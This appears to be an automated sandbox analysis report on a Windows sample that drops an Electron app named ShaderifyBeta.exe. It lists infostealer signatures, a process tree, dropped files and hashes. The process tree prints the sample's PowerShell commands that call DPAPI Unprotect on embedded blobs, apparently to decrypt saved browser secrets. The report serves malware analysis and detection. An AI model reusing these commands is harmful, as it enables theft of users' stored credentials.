Analysis

  • max time kernel
    147s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/06/2024, 02:04

General

  • Target
    de10aa6f3cf0d066b00b9331b98de872704acb3f5bc29c19002b3aacc392a29a.exe
  • Size 53.4MB
  • Sample240614-chek3s1erc
  • SHA256 de10aa6f3cf0d066b00b9331b98de872704acb3f5bc29c19002b3aacc392a29a
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\de10aa6f3cf0d066b00b9331b98de872704acb3f5bc29c19002b3aacc392a29a.exe
    "C:\Users\Admin\AppData\Local\Temp\de10aa6f3cf0d066b00b9331b98de872704acb3f5bc29c19002b3aacc392a29a.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3308
    • C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ShaderifyBeta.exe
      C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ShaderifyBeta.exe
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:824
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "tasklist"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3184
        • C:\Windows\system32\tasklist.exe
          tasklist
          4⤵
          • Enumerates processes with tasklist
          • Suspicious use of AdjustPrivilegeToken
          PID:2836
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,42,82,230,175,100,47,24,121,244,38,217,77,134,94,156,21,93,118,76,169,73,67,148,94,19,158,84,26,52,226,35,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,223,57,68,165,139,175,21,194,10,220,128,158,89,208,99,19,222,138,51,26,163,91,19,34,194,203,13,123,9,0,3,186,48,0,0,0,198,120,45,52,168,82,21,129,226,214,224,149,134,250,60,27,74,221,39,187,147,205,244,73,156,1,1,218,54,18,45,155,159,228,180,137,208,250,82,200,165,92,102,164,194,214,225,77,64,0,0,0,145,14,212,182,95,66,45,242,222,249,66,252,109,108,103,126,252,50,253,152,3,149,161,109,106,148,207,64,23,253,167,70,41,48,47,233,236,254,214,245,208,198,38,75,161,42,134,37,154,108,19,207,58,239,164,34,36,132,34,175,159,77,3,21), $null, 'CurrentUser')"
        3⤵
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:4108
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,42,82,230,175,100,47,24,121,244,38,217,77,134,94,156,21,93,118,76,169,73,67,148,94,19,158,84,26,52,226,35,237,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,223,57,68,165,139,175,21,194,10,220,128,158,89,208,99,19,222,138,51,26,163,91,19,34,194,203,13,123,9,0,3,186,48,0,0,0,198,120,45,52,168,82,21,129,226,214,224,149,134,250,60,27,74,221,39,187,147,205,244,73,156,1,1,218,54,18,45,155,159,228,180,137,208,250,82,200,165,92,102,164,194,214,225,77,64,0,0,0,145,14,212,182,95,66,45,242,222,249,66,252,109,108,103,126,252,50,253,152,3,149,161,109,106,148,207,64,23,253,167,70,41,48,47,233,236,254,214,245,208,198,38,75,161,42,134,37,154,108,19,207,58,239,164,34,36,132,34,175,159,77,3,21), $null, 'CurrentUser')
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:680
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,149,227,135,141,185,10,243,132,225,189,78,199,56,20,80,35,204,150,79,77,195,99,168,104,55,117,76,27,166,153,245,129,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,193,34,173,107,158,119,24,253,75,255,201,72,205,196,238,50,172,142,162,222,103,187,83,211,217,199,4,106,115,192,144,61,48,0,0,0,20,78,41,31,201,247,122,235,230,242,235,47,154,205,1,228,95,113,45,133,228,179,107,169,176,104,224,80,71,158,151,43,240,232,209,23,148,156,147,155,137,208,186,153,173,77,22,10,64,0,0,0,158,218,165,191,81,83,175,76,135,164,112,141,200,119,160,206,250,82,124,150,107,118,178,224,98,3,224,130,45,128,125,200,197,143,12,208,5,116,120,98,19,104,153,152,0,82,243,166,198,170,4,89,138,187,114,41,255,136,31,190,48,160,90,33), $null, 'CurrentUser')"
        3⤵
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:3584
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,214,81,225,118,57,32,187,77,148,157,112,156,147,7,151,106,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,149,227,135,141,185,10,243,132,225,189,78,199,56,20,80,35,204,150,79,77,195,99,168,104,55,117,76,27,166,153,245,129,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,193,34,173,107,158,119,24,253,75,255,201,72,205,196,238,50,172,142,162,222,103,187,83,211,217,199,4,106,115,192,144,61,48,0,0,0,20,78,41,31,201,247,122,235,230,242,235,47,154,205,1,228,95,113,45,133,228,179,107,169,176,104,224,80,71,158,151,43,240,232,209,23,148,156,147,155,137,208,186,153,173,77,22,10,64,0,0,0,158,218,165,191,81,83,175,76,135,164,112,141,200,119,160,206,250,82,124,150,107,118,178,224,98,3,224,130,45,128,125,200,197,143,12,208,5,116,120,98,19,104,153,152,0,82,243,166,198,170,4,89,138,187,114,41,255,136,31,190,48,160,90,33), $null, 'CurrentUser')
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1992
      • C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1796,12400891964754133015,3710672320203049648,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1568 /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:224
      • C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ShaderifyBeta.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1796,12400891964754133015,3710672320203049648,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2332 /prefetch:8
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:4868
      • C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1796,12400891964754133015,3710672320203049648,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=MAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAIAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=2328 /prefetch:2
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        PID:1092
  • C:\Windows\System32\CompPkgSrv.exe
    C:\Windows\System32\CompPkgSrv.exe -Embedding
    1⤵
      PID:540

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 3ae35c2828715a2f9a5531d334a0cfffc81396c2dc058ca42a9943f3cdc22e78
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d6dad7428a2ca05a4e48d115ec7370539f77c794ed93b753c57bfc0959afd32a
          • MD5 SHA1 SHA512

          D3DCompiler_47.dll

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\D3DCompiler_47.dll
          • Size 4.3MB
          • SHA256 44422e6936dc72b7ac5ed16bb8bcae164b7554513e52efb66a3e942cec328a47
          • MD5 SHA1 SHA512 SSDEEP

          chrome_100_percent.pak

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\chrome_100_percent.pak
          • Size 121KB
          • SHA256 5ae14147992a92548bcad76867dd88cdfcdb69d951c8720920cce6fb135e3189
          • MD5 SHA1 SHA512 SSDEEP

          chrome_200_percent.pak

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\chrome_200_percent.pak
          • Size 181KB
          • SHA256 dd8146b2ee289e4d54a4a0f1fd3b2f61b979c6a2baaba96a406d96c3f4fdb33b
          • MD5 SHA1 SHA512 SSDEEP

          ffmpeg.dll

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\ffmpeg.dll
          • Size 2.7MB
          • SHA256 42a2a996ac433ac33a22776b8418a82753557093d90147b7951138b5c83924b6
          • MD5 SHA1 SHA512 SSDEEP

          icudtl.dat

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\icudtl.dat
          • Size 10.0MB
          • SHA256 df876c7af43ed93eec6aea4d2d55c805009c219653cdeb368f1d048f4922b108
          • MD5 SHA1 SHA512 SSDEEP

          libegl.dll

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\libegl.dll
          • Size 438KB
          • SHA256 f2a841b6ef320f226965c7cb01fbc4709fc31425e490a3edfa20147ce3656c85
          • MD5 SHA1 SHA512 SSDEEP

          libglesv2.dll

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\libglesv2.dll
          • Size 7.3MB
          • SHA256 a81729fd6ee2d64dfc47501a1d53794cdeee5c1daa3751f7554aea2503686d10
          • MD5 SHA1 SHA512 SSDEEP

          en-US.pak

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\locales\en-US.pak
          • Size 83KB
          • SHA256 d1d3f892be16329c79f9a8ee8c5fa1c9fb46d17edfeb56a3d9407f9d7587a0de
          • MD5 SHA1 SHA512 SSDEEP

          resources.pak

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\resources.pak
          • Size 4.8MB
          • SHA256 7b953443e3cd54a0a4775528b52fbfe5ebecbc2c71731600ed0999d227969506
          • MD5 SHA1 SHA512 SSDEEP

          app.asar

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\resources\app.asar
          • Size 12.2MB
          • SHA256 09cfc49b70f45487d424e70b1fb8006a2fb58c57c92035325fd0a7c024151514
          • MD5 SHA1 SHA512 SSDEEP

          v8_context_snapshot.bin

          • Path C:\Users\Admin\AppData\Local\Temp\2hpwXEE2AzZivyWGESsni02xD9J\v8_context_snapshot.bin
          • Size 168KB
          • SHA256 4a67de195878d290f49b503b83e415917b8bbcbd9936b07a5d33b48e9bc6e0a3
          • MD5 SHA1 SHA512 SSDEEP

          4b0fd367-fda4-4998-93ae-af1d5c01b2c2.tmp.node

          • Path C:\Users\Admin\AppData\Local\Temp\4b0fd367-fda4-4998-93ae-af1d5c01b2c2.tmp.node
          • Size 1.4MB
          • SHA256 6aa8763714aa5199a4065259af792292c2a7d6a2c381aa27007255421e5c9d8c
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_2thav12r.5jz.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2thav12r.5jz.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          StdUtils.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nss5A75.tmp\StdUtils.dll
          • Size 101KB
          • SHA256 72d38ef115e71fc73dc5978987c583fc8c6b50ff12e4a5d30649a4d164a8b6ae
          • MD5 SHA1 SHA512 SSDEEP

          System.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nss5A75.tmp\System.dll
          • Size 11KB
          • SHA256 a632d74332b3f08f834c732a103dafeb09a540823a2217ca7f49159755e8f1d7
          • MD5 SHA1 SHA512 SSDEEP

          nsis7z.dll

          • Path C:\Users\Admin\AppData\Local\Temp\nss5A75.tmp\nsis7z.dll
          • Size 391KB
          • SHA256 66ac8bd1f273a73e17a3f31d6add739d3cb0330a6417faeda11a9cae00b62d8b
          • MD5 SHA1 SHA512 SSDEEP

          memory/224-214-0x00007FFA0D630000-0x00007FFA0D631000-memory.dmp

          memory/224-226-0x0000024D65E70000-0x0000024D65F1C000-memory.dmp

          memory/680-183-0x0000025EE5FB0000-0x0000025EE6000000-memory.dmp

          memory/680-173-0x0000025EE5F30000-0x0000025EE5F52000-memory.dmp